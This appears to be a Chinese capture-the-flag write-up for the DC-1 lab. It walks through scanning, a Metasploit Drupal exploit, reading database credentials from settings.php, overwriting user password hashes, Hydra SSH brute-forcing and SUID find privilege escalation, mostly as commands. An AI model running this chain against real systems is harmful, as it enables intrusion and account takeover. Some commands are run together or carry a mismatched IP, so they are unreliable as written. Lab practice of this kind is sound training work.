渗透过程
一,信息收集
1,探测目标IP地址
探测目标IP地址,探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover,这里使用arp-scan
arp-scan -l
确定了DC-1主机的IP地址为
192.168.126.145
2,探测目标IP开放端口
使用nmap探测
nmap -sV -p- 192.168.126.145
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
3,网页信息收集
利用插件wappalyzer,查看站点信息,发现cms是drupal
二, 漏洞查找与利用
1,漏洞查找
用工具Metasploit找一下漏洞,先打开工具
msfconsole
然后搜索Drupal
search Drupal
可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞
2,漏洞利用
使用18年那个漏洞
use 1
看一下漏洞模块参数
show options
设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)
set RHOSTS 192.168.120.145
设置以后开始攻击
run
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell
三,Getshell
1,获取普通shell
shell
然后利用py实现交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
升级后查看flag1.txt文件
这个提示我们去看配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
cat `find / -name settings.php`
发现flag2以及一个数据库,给了数据库的账号和密码
2,数据库渗透
由上面得到的账号密码登入
mysql -udbuser -pR0ck3t
登进去看一眼里边有啥玩意
show datebases;
use drupaldb;show tables;
发现users表,打开看一下
得到两个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR || Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
这个应该不是明文密码,我们修改一下这个admin密码
先退出mysql,打开加密脚本
cat /var/www/scripts/password-hash.sh
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码
mysql -udbuser -pR0ck3tuse drupaldb;update users set pass = "$S$Dwhozv1IrLOIcTvk4qmGZbzuA4yJ3qwxlp7UoLQGy1iZpOxXx.5Y" where name = 'admin' or name = 'Fred';
修改完成之后就可以登录这个网站,找到flag3
提示了我们一些信息passwd和shadow
/etc/passwd该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读/etc/shadow该文件存储了系统用户的密码等信息,只有root权限用户才能读取
查看一下用户信息
可以看到有flag4这个用户
3,用户密码爆破
利用工具Hydra爆破flag4的密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.126.145
发现密码为orange,登录
打开flag4.txt
4,Linux提权
需要用到SUID提权
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find比较常用,可以执行root权限的命令找查文件,
find / -name index.php -exec "/bin/sh" \;
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上-exec "/bin/sh" \;
可以看到已经有root权限了
cd /rootlscat *
得到最后一个flag,最终通关